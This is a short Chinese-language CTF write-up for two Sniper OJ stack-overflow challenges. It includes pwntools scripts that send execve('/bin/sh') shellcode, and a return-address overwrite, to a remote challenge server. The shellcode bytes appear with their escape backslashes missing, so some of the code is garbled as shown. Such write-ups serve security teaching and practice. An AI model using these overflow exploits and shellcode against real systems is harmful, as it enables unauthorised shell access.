Sniper OJ部分writeup

0x00 shellcode pwn

因为题目直接有源码,我就不拖进IDA了,直接看代码

这是一个典型的栈溢出,我们只需要构造shellcode获得/bin/sh权限就可以得到flag.下面是所用脚本。

from pwn import *

from sys import *

reload(sys)

sys.setdefaultencoding('gb18030')

shell_code = 'x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05'

conn = remote('123.207.114.37',30001) 

addr = conn.recvuntil(']')

add = int(addr[-13:-1],16)               

shellcode_add = p64(add + 24 + 8)

v = 24*"a" + shellcode_add + shell_code

conn.send(v+'
')

conn.interactive()

cd

运行脚本,得到flag

0x01 bof pwn

源码如下

这是一个更简单的栈溢出,只要构造溢出调用bingo函数就能得到flag

把源文件拖进ida,发现bingo函数位于地址0x0000000000400616处

于是编写脚本

#!/usr/bin/python
from pwn import *
#context.log_level = 'DEBUG'
r = remote('123.207.114.37',30000)
r.send('A'*24+'x16x06x40x00x00x00x00x00') 
r.interactive()

得到flag

Always believe that good things will come.
原文地址:https://www.cnblogs.com/elvirangel/p/6708397.html